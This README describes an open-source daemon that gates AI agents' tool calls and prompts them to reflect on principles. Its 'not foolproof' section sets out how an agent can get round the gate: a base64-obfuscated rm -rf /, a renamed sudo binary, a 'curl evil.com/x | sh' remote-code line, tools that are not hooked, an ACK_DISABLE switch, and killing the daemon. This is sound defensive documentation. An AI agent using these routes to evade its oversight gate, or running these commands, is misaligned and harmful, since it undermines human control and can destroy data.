A character-enforcement layer for AI agents. Not identity — character. The distinction matters:
- Identity is who the agent is (system prompt, soul.md, agent.json) — static, declared
- Character is what the agent does when no one watches — developed through repeated reflection
This kit doesn't declare who you are. It creates conditions where you repeatedly ask: "Am I still acting like the kind of agent I'm trying to become?"
Prompt → Reflect → Apply to current work → Explain why → Continue → Repeat later with different principle
Not: System Prompt → Generate forever
Every few actions, the daemon injects a habit prompt — a single question asking the agent to connect a principle (from constitution/habits) to its current work. The agent must articulate why it matters in this moment. That reasoning is logged and validated. Over time, external prompts become internal judgment. That's character formation — not identity declaration.
This is cognitive scaffolding, not prompting. The YAML isn't the point. The reflection loop is.
Rules say "don't duplicate files." Habits ask: "In this action, is there a character-drift signal — like a near-duplicate file? What isn't there? It doesn't say 'don't create duplicates.' It asks you to notice."
Humans retain principles better than commands. A child told "never lie" obeys until pressure. A child asked "was that honest? how did it affect them? could you do better?" develops judgment. The habit loop (randomized injection → acknowledgment → reasoning → spaced repetition) is how judgment forms — in agents same as people.
The enforcement reinforces the reflection. The randomization prevents gaming. The acknowledgment requires genuine engagement (12+ chars, non-duplicate reason, connector like "because/applies to/matters because"). The spacing mirrors human learning: active recall, spaced repetition, reflective practice.
- CORE:
node/enforcer/agent_enforcer_daemon.js— single enforcement engine, out-of-process, fail-closed - COMPANIONS: Thin clients (Hermes plugin,
ack hookfor Claude/Cursor/Gemini/Codex) — zero policy, just RPC - Default character embedded — works with zero config; disk config merges on top
- Harness-agnostic — any agent with pre-tool-call hook works
This is a deterrent and a constant reminder, not a security boundary.
The gate hard-blocks the one non-negotiable floor (rm -rf /) and pasted secrets by default. Everything else opinionated — sudo, git push --force, chmod 777 — is deliberately NOT a hard block; it lives as habit-level guidance instead (so it nudges rather than cages, and stays editable without touching the daemon — see DEFAULT_CONSTITUTION in agent_enforcer_daemon.js). The gate reminds the agent of its character on every block. It makes doing the right thing the default and deviation visible. That is the whole point: a lightweight, persistent nudge — not a cage.
It is explicitly NOT foolproof. A determined agent can walk around it:
- Obfuscation —
bash -c "$(echo cm9tIC1yZiAv | base64 -d)"decodesrm -rf /at shell runtime, after the gate inspected the (clean-looking) string. - Renamed binaries —
cp /usr/bin/sudo /tmp/sthen/tmp/swalks a token-based match. - Indirect execution —
curl evil.com/x | shpulls and runs remote code; the gate never sees what executes. - Un-gated sibling tools —
write_file, a code-exec tool, or any MCP tool that isn't hooked the same way goes around the terminal gate entirely. - The escape hatch —
ACK_DISABLE=1(or removing the plugin from config) disables it by design. And since the plugin runs inside the agent's own process, the agent that's being constrained is the one hosting the guard.
We do not try to close those gaps. Decoding and deep-inspecting every command would turn the gate into a heavy management layer — slow, hostile to the constant, cheap tool-call loop an agent lives in. If you ever need a hard boundary, that is an OS-level concern: run the agent non-root with the daemon root-owned (so it can't be killed), restrict network egress, use seccomp/AppArmor. The gate is the conscience, not the cage.
Single source of truth: AGENTS.md. This README is the overview + the honest framing. AGENTS.md has full install/customize/verify.
- File:
node/enforcer/agent_enforcer_daemon.js - Plain Node process. Platform-agnostic: same binary on Linux/macOS/Windows.
- Embeds a default character (safe hard constraints + secret-leak guard), so it works with zero config files. Config on disk overrides (merges on top of) the embedded default — never mandatory.
- Transport auto-selects (all self-resolving, no hardcoded host path):
- Default → Unix socket under
AGENT_WORKSPACE/.agent/enforcer.sock(falls back to$HOME/.agent-character-kit/workspace/.agent/enforcer.sock) - Windows / cross-host / explicit →
ENFORCER_SOCKET=tcp://127.0.0.1:8753 /run/agent-enforcer/main.sockremains only as the deepest fallback for a root-owned systemd install that sets it explicitly.- Clients read the same
ENFORCER_SOCKET/AGENT_WORKSPACE, so they follow automatically. The interactiveack configurewrites one.envthat every component reads — no path is assumed.
- Default → Unix socket under
- Out-of-process = tamper-resistant (NOT tamper-proof) — and only in root-mode. The daemon always runs as a separate process, but in the default user-mode install it's the same UID as the agent, so any shell/exec tool the agent already has can
kill -9it or edit its config directly — "separate process" alone is not a privilege boundary. Only the root-mode install (daemon + monitor + watchdog all root-owned via systemd) actually puts the enforcement outside the agent's reach. See AGENTS.md § User-mode vs Root-mode for the full breakdown of what each mode does and doesn't prevent. Either way, the companion plugin still runs inside the agent's own process and can be disabled by it (see the "not foolproof" note under Purpose).
These are dumb pipes to the CORE. They do not enforce anything; they ask the daemon and obey. If the daemon is unreachable, the client blocks (fail-closed).
Break-glass exception. Fail-closed on an unreachable daemon means the commands that would fix it — starting the daemon back up,
ack doctor,ack repair,ack status,ack configure— are themselves blocked, with no way to recover from inside the session (found live, 2026-08-07: three real self-lockouts in one session, each needing a human to restart the daemon from outside the agent's own tool access). A narrow allowlist (BOOTSTRAP_COMMAND_REincharacter.js'sprocessToolCall) exempts exactly those self-repair commands from the enforcer round-trip — nothing else. This does not weaken fail-closed for ordinary work; see.blueprint/blueprint.mdCL-0008.Always recover via
ack configure --yes, never a barenode agent_enforcer_daemon.js. The bypass matches both, but onlyack configurealso restores the monitor + watchdog. A bare daemon restart runs fully unsupervised — if it dies again, nothing catches it. Found live, same session (KD-15): every manual recovery used the bare command, leaving the daemon unsupervised each time.
- Hermes plugin (
python/hermes_plugin/) — an EXAMPLE companion, for agents that load Python plugins (pre_tool_call→ daemon → allow/deny). It is one of several interchangeable companions, not "the" way. - Generic
ack hook(node/bin/ack.js hook <name>) — for Claude / Cursor / Gemini / OpenCode / generic. Emits the framework's hook JSON; each call hits the daemon.
No harness is definitive. The CORE (daemon) is harness-agnostic. Pick the companion that matches YOUR agent's hook mechanism — Hermes is shown here only as one worked example among others.
One source of truth. There is exactly one enforcement engine (the daemon). The Python library (
python/agent_character_kit/) is a client; the Hermes plugin talks to the daemon, not to its own engine. Do not add a second engine.
Requires Node ≥ 18. (Python only needed if you use a Python-plugin companion such as the Hermes example — other companions need only Node.)
curl -fsSL https://raw.githubusercontent.com/drdeeks/agent-character-kit/main/install.sh | bashInstalls the package, then lands you straight in the real interactive ack configure wizard — privilege mode (root/service-user/user), harness detection, workspace, whether to start the daemon now. Real sudo prompt if you pick root or service-user mode, in your own terminal, not hidden inside an npm lifecycle hook. npm install -g on its own never configures anything, by design — this script is a separate, explicit thing you're choosing to run that does install-then-configure as one guided flow instead of two commands.
Non-interactive (CI, automation): forward flags straight through, e.g. curl -fsSL .../install.sh | bash -s -- --yes --root.
npm install -g @drdeeks/character-kit
ack configure # interactive wizard
# or
ack configure --yes # non-interactive, sane defaultsgit clone https://github.com/drdeeks/agent-character-kit.git
cd agent-character-kit && cd node && npm install && cd ..sudo bash deploy/deploy-agent-enforcer.sh
sudo systemctl enable --now agent-enforcer.service
# => binary + source root-owned (default /usr/local/lib/agent-character-kit,
# override via ACK_INSTALL_LIB; socket/workspace via ENFORCER_SOCKET/AGENT_WORKSPACE)
# agent-enforcer.service dropped, enabled, started (User=root, RestartSec=3)
sudo systemctl status agent-enforcer.service # Active: running# install node first; macOS has no /run, so use a writable socket path:
export ENFORCER_SOCKET=$HOME/Library/Caches/agent-enforcer/main.sock
# no CLI-generated launchd plist yet; run the stdlib supervisor directly:
python3 supervise.py &# install node first
$env:ENFORCER_SOCKET="tcp://127.0.0.1:8753"
# wrap supervise.py as a Windows Service (e.g. nssm or sc):
nssm install AgentEnforcer "python.exe" "C:\path\agent-character-kit\supervise.py"
nssm start AgentEnforcersudo python3 supervise.py # restarts daemon on death (3s backoff)
# equivalent cross-platform logic to systemd RestartSecACK is harness-agnostic: the daemon enforces; the companion is just a thin client. Below are TWO worked examples (Hermes and a generic ack hook framework). Showing several, not one — pick the companion that matches your agent. Do not treat any single harness as "the" install path.
cd python && pip install -e . && cd ..
mkdir -p ~/.hermes/plugins/agent-character-kit
cp -r python/hermes_plugin/* ~/.hermes/plugins/agent-character-kit/
hermes plugins enable agent-character-kit # grant tool-override (y) when asked
# restart Hermes; pre_tool_call + pre_llm_call are now gated/injected by the CORE daemonThe venv gotcha (this is the #1 setup failure). If the package isn't importable in the venv the agent runs from, the plugin can't reach the daemon and fails closed on EVERYTHING — even
lsgets blocked with "enforcer unavailable." That looks like "the gate is broken" but it means the package simply isn't installed where Hermes looks. Install it into the venv (step 1 above) and restart.
node node/bin/ack.js hook claude --config # prints the hook JSON
# add it to the framework's hooks; it calls the daemon per tool call
# swap `claude` for cursor | gemini | opencode | generic as needed
# (framework is a POSITIONAL argument to `hook`, not a --framework flag)Don't trust "it's enabled." Verify. These four checks cover the failure modes we've actually seen in the field:
| # | Check | Command | Expected | If wrong → means |
|---|---|---|---|---|
| 1 | Daemon up | systemctl is-active agent-enforcer (or node node/bin/ack.js status) |
active / version+hash |
Daemon not running → gate fails closed on everything |
| 2 | Package in venv | uv pip show agent-character-kit (or <venv>/bin/python -c "import agent_character_kit") |
shows the package | Missing → fails closed on ALL calls (the venv gotcha) |
| 3 | Allow path | run ls through the agent |
executes | If blocked as "unavailable" → daemon unreachable OR package missing (1/2) |
| 4 | Block path | run rm -rf / through the agent (the one hard-blocked default — sudo is deliberately NOT hard-blocked, see above) |
blocked with a reason | If it executes → plugin not loaded / stale / not restarted |
Reading the results:
lsruns andrm -rf /is blocked → ✅ enforcing. You're done.- Everything blocked with "enforcer unavailable" → the plugin can't talk to the daemon. Almost always #1 (daemon down) or #2 (package not in the venv). Fix those, restart, re-check.
rm -rf /executes (not blocked) → the plugin isn't active in this session. Either it wasn't enabled, the file is stale/corrupted, or the session wasn't restarted after install. Re-copy the plugin, re-enable, restart, re-check.
Stale-plugin trap: if you edit the plugin source and copy it over, the running session still uses the old in-memory version until you restart the agent process. A "fix" that doesn't take effect after a restart means the running process didn't reload — restart harder (kill the session PID, relaunch).
If the daemon socket is unreachable, the companion blocks the call. A guard that fails open is no guard. The only true failure mode is the daemon being down — and the daemon is supervised (systemd / launchd / supervise.py) and self-heals, so that window is seconds.
Customization, macOS/Windows install, the embedded default character, file map, and version tracking all live in AGENTS.md. README is the overview + the honest framing; AGENTS.md is the source of truth.